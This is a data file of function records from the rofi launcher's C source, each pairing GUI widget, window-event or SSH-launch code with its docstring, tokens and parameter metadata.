@param state The current RofiViewState Move the selection to last row.
[ "@param", "state", "The", "current", "RofiViewState", "Move", "the", "selection", "to", "last", "row", "." ]
inline static void rofi_view_nav_last ( RofiViewState * state ) { if ( state->filtered_lines == 0 ) { return; } listview_set_selected ( state->list_view, -1 ); }
[ "inline", "static", "void", "rofi_view_nav_last", "(", "RofiViewState", "*", "state", ")", "{", "if", "(", "state", "->", "filtered_lines", "==", "0", ")", "{", "return", ";", "}", "listview_set_selected", "(", "state", "->", "list_view", ",", "-1", ")", ";", "}" ]
@param state The current RofiViewState Move the selection to last row.
[ "@param", "state", "The", "current", "RofiViewState", "Move", "the", "selection", "to", "last", "row", "." ]
[ "// If no lines, do nothing.", "//state->selected = state->filtered_lines - 1;" ]
[ { "param": "state", "type": "RofiViewState" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "state", "type": "RofiViewState", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
d83d72f1e1561f29eb897546f47270bcc0881cd4
moonrisewarrior/rofi
source/view.c
[ "MIT" ]
C
rofi_view_temp_configure_notify
void
void rofi_view_temp_configure_notify ( RofiViewState *state, xcb_configure_notify_event_t *xce ) { if ( xce->window == CacheState.main_window ) { if ( state->x != xce->x || state->y != xce->y ) { state->x = xce->x; state->y = xce->y; widget_queue_redraw ( WIDGET ( state->main_window ) ); } if ( state->width != xce->width || state->height != xce->height ) { state->width = xce->width; state->height = xce->height; cairo_destroy ( CacheState.edit_draw ); cairo_surface_destroy ( CacheState.edit_surf ); xcb_free_pixmap ( xcb->connection, CacheState.edit_pixmap ); CacheState.edit_pixmap = xcb_generate_id ( xcb->connection ); xcb_create_pixmap ( xcb->connection, depth->depth, CacheState.edit_pixmap, CacheState.main_window, state->width, state->height ); CacheState.edit_surf = cairo_xcb_surface_create ( xcb->connection, CacheState.edit_pixmap, visual, state->width, state->height ); CacheState.edit_draw = cairo_create ( CacheState.edit_surf ); g_debug ( "Re-size window based external request: %d %d", state->width, state->height ); widget_resize ( WIDGET ( state->main_window ), state->width, state->height ); } } }
/** * Handle window configure event. * Handles resizes. */
Handle window configure event. Handles resizes.
[ "Handle", "window", "configure", "event", ".", "Handles", "resizes", "." ]
void rofi_view_temp_configure_notify ( RofiViewState *state, xcb_configure_notify_event_t *xce ) { if ( xce->window == CacheState.main_window ) { if ( state->x != xce->x || state->y != xce->y ) { state->x = xce->x; state->y = xce->y; widget_queue_redraw ( WIDGET ( state->main_window ) ); } if ( state->width != xce->width || state->height != xce->height ) { state->width = xce->width; state->height = xce->height; cairo_destroy ( CacheState.edit_draw ); cairo_surface_destroy ( CacheState.edit_surf ); xcb_free_pixmap ( xcb->connection, CacheState.edit_pixmap ); CacheState.edit_pixmap = xcb_generate_id ( xcb->connection ); xcb_create_pixmap ( xcb->connection, depth->depth, CacheState.edit_pixmap, CacheState.main_window, state->width, state->height ); CacheState.edit_surf = cairo_xcb_surface_create ( xcb->connection, CacheState.edit_pixmap, visual, state->width, state->height ); CacheState.edit_draw = cairo_create ( CacheState.edit_surf ); g_debug ( "Re-size window based external request: %d %d", state->width, state->height ); widget_resize ( WIDGET ( state->main_window ), state->width, state->height ); } } }
[ "void", "rofi_view_temp_configure_notify", "(", "RofiViewState", "*", "state", ",", "xcb_configure_notify_event_t", "*", "xce", ")", "{", "if", "(", "xce", "->", "window", "==", "CacheState", ".", "main_window", ")", "{", "if", "(", "state", "->", "x", "!=", "xce", "->", "x", "||", "state", "->", "y", "!=", "xce", "->", "y", ")", "{", "state", "->", "x", "=", "xce", "->", "x", ";", "state", "->", "y", "=", "xce", "->", "y", ";", "widget_queue_redraw", "(", "WIDGET", "(", "state", "->", "main_window", ")", ")", ";", "}", "if", "(", "state", "->", "width", "!=", "xce", "->", "width", "||", "state", "->", "height", "!=", "xce", "->", "height", ")", "{", "state", "->", "width", "=", "xce", "->", "width", ";", "state", "->", "height", "=", "xce", "->", "height", ";", "cairo_destroy", "(", "CacheState", ".", "edit_draw", ")", ";", "cairo_surface_destroy", "(", "CacheState", ".", "edit_surf", ")", ";", "xcb_free_pixmap", "(", "xcb", "->", "connection", ",", "CacheState", ".", "edit_pixmap", ")", ";", "CacheState", ".", "edit_pixmap", "=", "xcb_generate_id", "(", "xcb", "->", "connection", ")", ";", "xcb_create_pixmap", "(", "xcb", "->", "connection", ",", "depth", "->", "depth", ",", "CacheState", ".", "edit_pixmap", ",", "CacheState", ".", "main_window", ",", "state", "->", "width", ",", "state", "->", "height", ")", ";", "CacheState", ".", "edit_surf", "=", "cairo_xcb_surface_create", "(", "xcb", "->", "connection", ",", "CacheState", ".", "edit_pixmap", ",", "visual", ",", "state", "->", "width", ",", "state", "->", "height", ")", ";", "CacheState", ".", "edit_draw", "=", "cairo_create", "(", "CacheState", ".", "edit_surf", ")", ";", "g_debug", "(", "\"", "\"", ",", "state", "->", "width", ",", "state", "->", "height", ")", ";", "widget_resize", "(", "WIDGET", "(", "state", "->", "main_window", ")", ",", "state", "->", "width", ",", "state", "->", "height", ")", ";", "}", "}", "}" ]
Handle window configure event.
[ "Handle", "window", "configure", "event", "." ]
[]
[ { "param": "state", "type": "RofiViewState" }, { "param": "xce", "type": "xcb_configure_notify_event_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "state", "type": "RofiViewState", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "xce", "type": "xcb_configure_notify_event_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
d83d72f1e1561f29eb897546f47270bcc0881cd4
moonrisewarrior/rofi
source/view.c
[ "MIT" ]
C
rofi_view_temp_click_to_exit
void
void rofi_view_temp_click_to_exit ( RofiViewState *state, xcb_window_t target ) { if ( ( CacheState.flags & MENU_NORMAL_WINDOW ) == 0 ) { if ( target != CacheState.main_window ) { state->quit = TRUE; state->retv = MENU_CANCEL; } } }
/** * Quit rofi on click (outside of view ) */
Quit rofi on click (outside of view )
[ "Quit", "rofi", "on", "click", "(", "outside", "of", "view", ")" ]
void rofi_view_temp_click_to_exit ( RofiViewState *state, xcb_window_t target ) { if ( ( CacheState.flags & MENU_NORMAL_WINDOW ) == 0 ) { if ( target != CacheState.main_window ) { state->quit = TRUE; state->retv = MENU_CANCEL; } } }
[ "void", "rofi_view_temp_click_to_exit", "(", "RofiViewState", "*", "state", ",", "xcb_window_t", "target", ")", "{", "if", "(", "(", "CacheState", ".", "flags", "&", "MENU_NORMAL_WINDOW", ")", "==", "0", ")", "{", "if", "(", "target", "!=", "CacheState", ".", "main_window", ")", "{", "state", "->", "quit", "=", "TRUE", ";", "state", "->", "retv", "=", "MENU_CANCEL", ";", "}", "}", "}" ]
Quit rofi on click (outside of view )
[ "Quit", "rofi", "on", "click", "(", "outside", "of", "view", ")" ]
[]
[ { "param": "state", "type": "RofiViewState" }, { "param": "target", "type": "xcb_window_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "state", "type": "RofiViewState", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "target", "type": "xcb_window_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
3548a95c91e6c4d1f0fca490833e8a7907b77bbd
moonrisewarrior/rofi
source/widgets/textbox.c
[ "MIT" ]
C
__textbox_update_pango_text
void
static void __textbox_update_pango_text ( textbox *tb ) { pango_layout_set_attributes ( tb->layout, NULL ); if ( ( tb->flags & TB_PASSWORD ) == TB_PASSWORD ) { size_t l = g_utf8_strlen ( tb->text, -1 ); char string [l + 1]; memset ( string, '*', l ); string[l] = '\0'; pango_layout_set_text ( tb->layout, string, l ); } else if ( tb->flags & TB_MARKUP || tb->tbft & MARKUP ) { pango_layout_set_markup ( tb->layout, tb->text, -1 ); } else { pango_layout_set_text ( tb->layout, tb->text, -1 ); } }
/** * @param tb The textbox object. * * Update the pango layout's text. It does this depending on the * textbox flags. */
@param tb The textbox object. Update the pango layout's text. It does this depending on the textbox flags.
[ "@param", "tb", "The", "textbox", "object", ".", "Update", "the", "pango", "layout", "'", "s", "text", ".", "It", "does", "this", "depending", "on", "the", "textbox", "flags", "." ]
static void __textbox_update_pango_text ( textbox *tb ) { pango_layout_set_attributes ( tb->layout, NULL ); if ( ( tb->flags & TB_PASSWORD ) == TB_PASSWORD ) { size_t l = g_utf8_strlen ( tb->text, -1 ); char string [l + 1]; memset ( string, '*', l ); string[l] = '\0'; pango_layout_set_text ( tb->layout, string, l ); } else if ( tb->flags & TB_MARKUP || tb->tbft & MARKUP ) { pango_layout_set_markup ( tb->layout, tb->text, -1 ); } else { pango_layout_set_text ( tb->layout, tb->text, -1 ); } }
[ "static", "void", "__textbox_update_pango_text", "(", "textbox", "*", "tb", ")", "{", "pango_layout_set_attributes", "(", "tb", "->", "layout", ",", "NULL", ")", ";", "if", "(", "(", "tb", "->", "flags", "&", "TB_PASSWORD", ")", "==", "TB_PASSWORD", ")", "{", "size_t", "l", "=", "g_utf8_strlen", "(", "tb", "->", "text", ",", "-1", ")", ";", "char", "string", "[", "l", "+", "1", "]", ";", "memset", "(", "string", ",", "'", "'", ",", "l", ")", ";", "string", "[", "l", "]", "=", "'", "\\0", "'", ";", "pango_layout_set_text", "(", "tb", "->", "layout", ",", "string", ",", "l", ")", ";", "}", "else", "if", "(", "tb", "->", "flags", "&", "TB_MARKUP", "||", "tb", "->", "tbft", "&", "MARKUP", ")", "{", "pango_layout_set_markup", "(", "tb", "->", "layout", ",", "tb", "->", "text", ",", "-1", ")", ";", "}", "else", "{", "pango_layout_set_text", "(", "tb", "->", "layout", ",", "tb", "->", "text", ",", "-1", ")", ";", "}", "}" ]
@param tb The textbox object.
[ "@param", "tb", "The", "textbox", "object", "." ]
[]
[ { "param": "tb", "type": "textbox" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "tb", "type": "textbox", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
3548a95c91e6c4d1f0fca490833e8a7907b77bbd
moonrisewarrior/rofi
source/widgets/textbox.c
[ "MIT" ]
C
textbox_text
void
void textbox_text ( textbox *tb, const char *text ) { if ( tb == NULL ) { return; } g_free ( tb->text ); const gchar *last_pointer = NULL; if ( g_utf8_validate ( text, -1, &last_pointer ) ) { tb->text = g_strdup ( text ); } else { if ( last_pointer != NULL ) { // Copy string up to invalid character. tb->text = g_strndup ( text, ( last_pointer - text ) ); } else { tb->text = g_strdup ( "Invalid UTF-8 string." ); } } __textbox_update_pango_text ( tb ); if ( tb->flags & TB_AUTOWIDTH ) { textbox_moveresize ( tb, tb->widget.x, tb->widget.y, tb->widget.w, tb->widget.h ); if ( WIDGET ( tb )->parent ) { widget_update ( WIDGET ( tb )->parent ); } } tb->cursor = MAX ( 0, MIN ( ( int ) g_utf8_strlen ( tb->text, -1 ), tb->cursor ) ); widget_queue_redraw ( WIDGET ( tb ) ); }
// set the default text to display
set the default text to display
[ "set", "the", "default", "text", "to", "display" ]
void textbox_text ( textbox *tb, const char *text ) { if ( tb == NULL ) { return; } g_free ( tb->text ); const gchar *last_pointer = NULL; if ( g_utf8_validate ( text, -1, &last_pointer ) ) { tb->text = g_strdup ( text ); } else { if ( last_pointer != NULL ) { tb->text = g_strndup ( text, ( last_pointer - text ) ); } else { tb->text = g_strdup ( "Invalid UTF-8 string." ); } } __textbox_update_pango_text ( tb ); if ( tb->flags & TB_AUTOWIDTH ) { textbox_moveresize ( tb, tb->widget.x, tb->widget.y, tb->widget.w, tb->widget.h ); if ( WIDGET ( tb )->parent ) { widget_update ( WIDGET ( tb )->parent ); } } tb->cursor = MAX ( 0, MIN ( ( int ) g_utf8_strlen ( tb->text, -1 ), tb->cursor ) ); widget_queue_redraw ( WIDGET ( tb ) ); }
[ "void", "textbox_text", "(", "textbox", "*", "tb", ",", "const", "char", "*", "text", ")", "{", "if", "(", "tb", "==", "NULL", ")", "{", "return", ";", "}", "g_free", "(", "tb", "->", "text", ")", ";", "const", "gchar", "*", "last_pointer", "=", "NULL", ";", "if", "(", "g_utf8_validate", "(", "text", ",", "-1", ",", "&", "last_pointer", ")", ")", "{", "tb", "->", "text", "=", "g_strdup", "(", "text", ")", ";", "}", "else", "{", "if", "(", "last_pointer", "!=", "NULL", ")", "{", "tb", "->", "text", "=", "g_strndup", "(", "text", ",", "(", "last_pointer", "-", "text", ")", ")", ";", "}", "else", "{", "tb", "->", "text", "=", "g_strdup", "(", "\"", "\"", ")", ";", "}", "}", "__textbox_update_pango_text", "(", "tb", ")", ";", "if", "(", "tb", "->", "flags", "&", "TB_AUTOWIDTH", ")", "{", "textbox_moveresize", "(", "tb", ",", "tb", "->", "widget", ".", "x", ",", "tb", "->", "widget", ".", "y", ",", "tb", "->", "widget", ".", "w", ",", "tb", "->", "widget", ".", "h", ")", ";", "if", "(", "WIDGET", "(", "tb", ")", "->", "parent", ")", "{", "widget_update", "(", "WIDGET", "(", "tb", ")", "->", "parent", ")", ";", "}", "}", "tb", "->", "cursor", "=", "MAX", "(", "0", ",", "MIN", "(", "(", "int", ")", "g_utf8_strlen", "(", "tb", "->", "text", ",", "-1", ")", ",", "tb", "->", "cursor", ")", ")", ";", "widget_queue_redraw", "(", "WIDGET", "(", "tb", ")", ")", ";", "}" ]
set the default text to display
[ "set", "the", "default", "text", "to", "display" ]
[ "// Copy string up to invalid character." ]
[ { "param": "tb", "type": "textbox" }, { "param": "text", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "tb", "type": "textbox", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "text", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
3548a95c91e6c4d1f0fca490833e8a7907b77bbd
moonrisewarrior/rofi
source/widgets/textbox.c
[ "MIT" ]
C
textbox_moveresize
void
void textbox_moveresize ( textbox *tb, int x, int y, int w, int h ) { unsigned int offset = tb->left_offset * 1.2 + ( ( tb->flags & TB_INDICATOR ) ? DOT_OFFSET : 0 ); if ( tb->flags & TB_AUTOWIDTH ) { pango_layout_set_width ( tb->layout, -1 ); w = textbox_get_font_width ( tb ) + widget_padding_get_padding_width ( WIDGET ( tb ) ) + offset; } else { // set ellipsize if ( ( tb->flags & TB_EDITABLE ) == TB_EDITABLE ) { pango_layout_set_ellipsize ( tb->layout, PANGO_ELLIPSIZE_MIDDLE ); } else if ( ( tb->flags & TB_WRAP ) != TB_WRAP ) { pango_layout_set_ellipsize ( tb->layout, PANGO_ELLIPSIZE_END ); } } if ( tb->flags & TB_AUTOHEIGHT ) { // Width determines height! int tw = MAX ( 1, w ); pango_layout_set_width ( tb->layout, PANGO_SCALE * ( tw - widget_padding_get_padding_width ( WIDGET ( tb ) ) - offset ) ); int hd = textbox_get_height ( tb ); h = MAX ( hd, h ); } if ( x != tb->widget.x || y != tb->widget.y || w != tb->widget.w || h != tb->widget.h ) { tb->widget.x = x; tb->widget.y = y; tb->widget.h = MAX ( 1, h ); tb->widget.w = MAX ( 1, w ); } // We always want to update this pango_layout_set_width ( tb->layout, PANGO_SCALE * ( tb->widget.w - widget_padding_get_padding_width ( WIDGET ( tb ) ) - offset ) ); widget_queue_redraw ( WIDGET ( tb ) ); }
// within the parent handled auto width/height modes
within the parent handled auto width/height modes
[ "within", "the", "parent", "handled", "auto", "width", "/", "height", "modes" ]
void textbox_moveresize ( textbox *tb, int x, int y, int w, int h ) { unsigned int offset = tb->left_offset * 1.2 + ( ( tb->flags & TB_INDICATOR ) ? DOT_OFFSET : 0 ); if ( tb->flags & TB_AUTOWIDTH ) { pango_layout_set_width ( tb->layout, -1 ); w = textbox_get_font_width ( tb ) + widget_padding_get_padding_width ( WIDGET ( tb ) ) + offset; } else { if ( ( tb->flags & TB_EDITABLE ) == TB_EDITABLE ) { pango_layout_set_ellipsize ( tb->layout, PANGO_ELLIPSIZE_MIDDLE ); } else if ( ( tb->flags & TB_WRAP ) != TB_WRAP ) { pango_layout_set_ellipsize ( tb->layout, PANGO_ELLIPSIZE_END ); } } if ( tb->flags & TB_AUTOHEIGHT ) { int tw = MAX ( 1, w ); pango_layout_set_width ( tb->layout, PANGO_SCALE * ( tw - widget_padding_get_padding_width ( WIDGET ( tb ) ) - offset ) ); int hd = textbox_get_height ( tb ); h = MAX ( hd, h ); } if ( x != tb->widget.x || y != tb->widget.y || w != tb->widget.w || h != tb->widget.h ) { tb->widget.x = x; tb->widget.y = y; tb->widget.h = MAX ( 1, h ); tb->widget.w = MAX ( 1, w ); } pango_layout_set_width ( tb->layout, PANGO_SCALE * ( tb->widget.w - widget_padding_get_padding_width ( WIDGET ( tb ) ) - offset ) ); widget_queue_redraw ( WIDGET ( tb ) ); }
[ "void", "textbox_moveresize", "(", "textbox", "*", "tb", ",", "int", "x", ",", "int", "y", ",", "int", "w", ",", "int", "h", ")", "{", "unsigned", "int", "offset", "=", "tb", "->", "left_offset", "*", "1.2", "+", "(", "(", "tb", "->", "flags", "&", "TB_INDICATOR", ")", "?", "DOT_OFFSET", ":", "0", ")", ";", "if", "(", "tb", "->", "flags", "&", "TB_AUTOWIDTH", ")", "{", "pango_layout_set_width", "(", "tb", "->", "layout", ",", "-1", ")", ";", "w", "=", "textbox_get_font_width", "(", "tb", ")", "+", "widget_padding_get_padding_width", "(", "WIDGET", "(", "tb", ")", ")", "+", "offset", ";", "}", "else", "{", "if", "(", "(", "tb", "->", "flags", "&", "TB_EDITABLE", ")", "==", "TB_EDITABLE", ")", "{", "pango_layout_set_ellipsize", "(", "tb", "->", "layout", ",", "PANGO_ELLIPSIZE_MIDDLE", ")", ";", "}", "else", "if", "(", "(", "tb", "->", "flags", "&", "TB_WRAP", ")", "!=", "TB_WRAP", ")", "{", "pango_layout_set_ellipsize", "(", "tb", "->", "layout", ",", "PANGO_ELLIPSIZE_END", ")", ";", "}", "}", "if", "(", "tb", "->", "flags", "&", "TB_AUTOHEIGHT", ")", "{", "int", "tw", "=", "MAX", "(", "1", ",", "w", ")", ";", "pango_layout_set_width", "(", "tb", "->", "layout", ",", "PANGO_SCALE", "*", "(", "tw", "-", "widget_padding_get_padding_width", "(", "WIDGET", "(", "tb", ")", ")", "-", "offset", ")", ")", ";", "int", "hd", "=", "textbox_get_height", "(", "tb", ")", ";", "h", "=", "MAX", "(", "hd", ",", "h", ")", ";", "}", "if", "(", "x", "!=", "tb", "->", "widget", ".", "x", "||", "y", "!=", "tb", "->", "widget", ".", "y", "||", "w", "!=", "tb", "->", "widget", ".", "w", "||", "h", "!=", "tb", "->", "widget", ".", "h", ")", "{", "tb", "->", "widget", ".", "x", "=", "x", ";", "tb", "->", "widget", ".", "y", "=", "y", ";", "tb", "->", "widget", ".", "h", "=", "MAX", "(", "1", ",", "h", ")", ";", "tb", "->", "widget", ".", "w", "=", "MAX", "(", "1", ",", "w", ")", ";", "}", "pango_layout_set_width", "(", "tb", "->", "layout", ",", "PANGO_SCALE", "*", "(", "tb", "->", "widget", ".", "w", "-", "widget_padding_get_padding_width", "(", "WIDGET", "(", "tb", ")", ")", "-", "offset", ")", ")", ";", "widget_queue_redraw", "(", "WIDGET", "(", "tb", ")", ")", ";", "}" ]
within the parent handled auto width/height modes
[ "within", "the", "parent", "handled", "auto", "width", "/", "height", "modes" ]
[ "// set ellipsize", "// Width determines height!", "// We always want to update this" ]
[ { "param": "tb", "type": "textbox" }, { "param": "x", "type": "int" }, { "param": "y", "type": "int" }, { "param": "w", "type": "int" }, { "param": "h", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "tb", "type": "textbox", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "x", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "y", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "w", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "h", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
3548a95c91e6c4d1f0fca490833e8a7907b77bbd
moonrisewarrior/rofi
source/widgets/textbox.c
[ "MIT" ]
C
textbox_free
void
static void textbox_free ( widget *wid ) { if ( wid == NULL ) { return; } textbox *tb = (textbox *) wid; if ( tb->blink_timeout > 0 ) { g_source_remove ( tb->blink_timeout ); tb->blink_timeout = 0; } g_free ( tb->text ); if ( tb->icon ) { cairo_surface_destroy ( tb->icon ); tb->icon = NULL; } if ( tb->layout != NULL ) { g_object_unref ( tb->layout ); } g_slice_free ( textbox, tb ); }
// will also unmap the window if still displayed
will also unmap the window if still displayed
[ "will", "also", "unmap", "the", "window", "if", "still", "displayed" ]
static void textbox_free ( widget *wid ) { if ( wid == NULL ) { return; } textbox *tb = (textbox *) wid; if ( tb->blink_timeout > 0 ) { g_source_remove ( tb->blink_timeout ); tb->blink_timeout = 0; } g_free ( tb->text ); if ( tb->icon ) { cairo_surface_destroy ( tb->icon ); tb->icon = NULL; } if ( tb->layout != NULL ) { g_object_unref ( tb->layout ); } g_slice_free ( textbox, tb ); }
[ "static", "void", "textbox_free", "(", "widget", "*", "wid", ")", "{", "if", "(", "wid", "==", "NULL", ")", "{", "return", ";", "}", "textbox", "*", "tb", "=", "(", "textbox", "*", ")", "wid", ";", "if", "(", "tb", "->", "blink_timeout", ">", "0", ")", "{", "g_source_remove", "(", "tb", "->", "blink_timeout", ")", ";", "tb", "->", "blink_timeout", "=", "0", ";", "}", "g_free", "(", "tb", "->", "text", ")", ";", "if", "(", "tb", "->", "icon", ")", "{", "cairo_surface_destroy", "(", "tb", "->", "icon", ")", ";", "tb", "->", "icon", "=", "NULL", ";", "}", "if", "(", "tb", "->", "layout", "!=", "NULL", ")", "{", "g_object_unref", "(", "tb", "->", "layout", ")", ";", "}", "g_slice_free", "(", "textbox", ",", "tb", ")", ";", "}" ]
will also unmap the window if still displayed
[ "will", "also", "unmap", "the", "window", "if", "still", "displayed" ]
[]
[ { "param": "wid", "type": "widget" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "wid", "type": "widget", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
3548a95c91e6c4d1f0fca490833e8a7907b77bbd
moonrisewarrior/rofi
source/widgets/textbox.c
[ "MIT" ]
C
textbox_cursor_inc
int
static int textbox_cursor_inc ( textbox *tb ) { int old = tb->cursor; textbox_cursor ( tb, tb->cursor + 1 ); return old != tb->cursor; }
/** * @param tb Handle to the textbox * * Move cursor one position forward. * * @returns if cursor was moved. */
@param tb Handle to the textbox Move cursor one position forward. @returns if cursor was moved.
[ "@param", "tb", "Handle", "to", "the", "textbox", "Move", "cursor", "one", "position", "forward", ".", "@returns", "if", "cursor", "was", "moved", "." ]
static int textbox_cursor_inc ( textbox *tb ) { int old = tb->cursor; textbox_cursor ( tb, tb->cursor + 1 ); return old != tb->cursor; }
[ "static", "int", "textbox_cursor_inc", "(", "textbox", "*", "tb", ")", "{", "int", "old", "=", "tb", "->", "cursor", ";", "textbox_cursor", "(", "tb", ",", "tb", "->", "cursor", "+", "1", ")", ";", "return", "old", "!=", "tb", "->", "cursor", ";", "}" ]
@param tb Handle to the textbox Move cursor one position forward.
[ "@param", "tb", "Handle", "to", "the", "textbox", "Move", "cursor", "one", "position", "forward", "." ]
[]
[ { "param": "tb", "type": "textbox" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "tb", "type": "textbox", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
3548a95c91e6c4d1f0fca490833e8a7907b77bbd
moonrisewarrior/rofi
source/widgets/textbox.c
[ "MIT" ]
C
textbox_cursor_dec
int
static int textbox_cursor_dec ( textbox *tb ) { int old = tb->cursor; textbox_cursor ( tb, tb->cursor - 1 ); return old != tb->cursor; }
/** * @param tb Handle to the textbox * * Move cursor one position backward. * * @returns if cursor was moved. */
@param tb Handle to the textbox Move cursor one position backward. @returns if cursor was moved.
[ "@param", "tb", "Handle", "to", "the", "textbox", "Move", "cursor", "one", "position", "backward", ".", "@returns", "if", "cursor", "was", "moved", "." ]
static int textbox_cursor_dec ( textbox *tb ) { int old = tb->cursor; textbox_cursor ( tb, tb->cursor - 1 ); return old != tb->cursor; }
[ "static", "int", "textbox_cursor_dec", "(", "textbox", "*", "tb", ")", "{", "int", "old", "=", "tb", "->", "cursor", ";", "textbox_cursor", "(", "tb", ",", "tb", "->", "cursor", "-", "1", ")", ";", "return", "old", "!=", "tb", "->", "cursor", ";", "}" ]
@param tb Handle to the textbox Move cursor one position backward.
[ "@param", "tb", "Handle", "to", "the", "textbox", "Move", "cursor", "one", "position", "backward", "." ]
[]
[ { "param": "tb", "type": "textbox" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "tb", "type": "textbox", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
3548a95c91e6c4d1f0fca490833e8a7907b77bbd
moonrisewarrior/rofi
source/widgets/textbox.c
[ "MIT" ]
C
textbox_cursor_del
void
static void textbox_cursor_del ( textbox *tb ) { if ( tb == NULL || tb->text == NULL ) { return; } textbox_delete ( tb, tb->cursor, 1 ); }
/** * @param tb Handle to the textbox * * Delete character after cursor. */
@param tb Handle to the textbox Delete character after cursor.
[ "@param", "tb", "Handle", "to", "the", "textbox", "Delete", "character", "after", "cursor", "." ]
static void textbox_cursor_del ( textbox *tb ) { if ( tb == NULL || tb->text == NULL ) { return; } textbox_delete ( tb, tb->cursor, 1 ); }
[ "static", "void", "textbox_cursor_del", "(", "textbox", "*", "tb", ")", "{", "if", "(", "tb", "==", "NULL", "||", "tb", "->", "text", "==", "NULL", ")", "{", "return", ";", "}", "textbox_delete", "(", "tb", ",", "tb", "->", "cursor", ",", "1", ")", ";", "}" ]
@param tb Handle to the textbox Delete character after cursor.
[ "@param", "tb", "Handle", "to", "the", "textbox", "Delete", "character", "after", "cursor", "." ]
[]
[ { "param": "tb", "type": "textbox" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "tb", "type": "textbox", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
3548a95c91e6c4d1f0fca490833e8a7907b77bbd
moonrisewarrior/rofi
source/widgets/textbox.c
[ "MIT" ]
C
textbox_cursor_bkspc
void
static void textbox_cursor_bkspc ( textbox *tb ) { if ( tb && tb->cursor > 0 ) { textbox_cursor_dec ( tb ); textbox_cursor_del ( tb ); } }
/** * @param tb Handle to the textbox * * Delete character before cursor. */
@param tb Handle to the textbox Delete character before cursor.
[ "@param", "tb", "Handle", "to", "the", "textbox", "Delete", "character", "before", "cursor", "." ]
static void textbox_cursor_bkspc ( textbox *tb ) { if ( tb && tb->cursor > 0 ) { textbox_cursor_dec ( tb ); textbox_cursor_del ( tb ); } }
[ "static", "void", "textbox_cursor_bkspc", "(", "textbox", "*", "tb", ")", "{", "if", "(", "tb", "&&", "tb", "->", "cursor", ">", "0", ")", "{", "textbox_cursor_dec", "(", "tb", ")", ";", "textbox_cursor_del", "(", "tb", ")", ";", "}", "}" ]
@param tb Handle to the textbox Delete character before cursor.
[ "@param", "tb", "Handle", "to", "the", "textbox", "Delete", "character", "before", "cursor", "." ]
[]
[ { "param": "tb", "type": "textbox" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "tb", "type": "textbox", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
486cced12b23289897efbda840cd6872bbca41f2
moonrisewarrior/rofi
source/dialogs/ssh.c
[ "MIT" ]
C
execshssh
int
static int execshssh ( const char *host ) { char **args = NULL; int argsv = 0; helper_parse_setup ( config.ssh_command, &args, &argsv, "{host}", host, (char *) 0 ); gsize l = strlen ( "Connecting to '' via rofi" ) + strlen ( host ) + 1; gchar *desc = g_newa ( gchar, l ); g_snprintf ( desc, l, "Connecting to '%s' via rofi", host ); RofiHelperExecuteContext context = { .name = "ssh", .description = desc, .command = "ssh", }; return helper_execute ( NULL, args, "ssh ", host, &context ); }
/** * @param host The host to connect too * * SSH into the selected host. * * @returns FALSE On failure, TRUE on success */
@param host The host to connect too SSH into the selected host. @returns FALSE On failure, TRUE on success
[ "@param", "host", "The", "host", "to", "connect", "too", "SSH", "into", "the", "selected", "host", ".", "@returns", "FALSE", "On", "failure", "TRUE", "on", "success" ]
static int execshssh ( const char *host ) { char **args = NULL; int argsv = 0; helper_parse_setup ( config.ssh_command, &args, &argsv, "{host}", host, (char *) 0 ); gsize l = strlen ( "Connecting to '' via rofi" ) + strlen ( host ) + 1; gchar *desc = g_newa ( gchar, l ); g_snprintf ( desc, l, "Connecting to '%s' via rofi", host ); RofiHelperExecuteContext context = { .name = "ssh", .description = desc, .command = "ssh", }; return helper_execute ( NULL, args, "ssh ", host, &context ); }
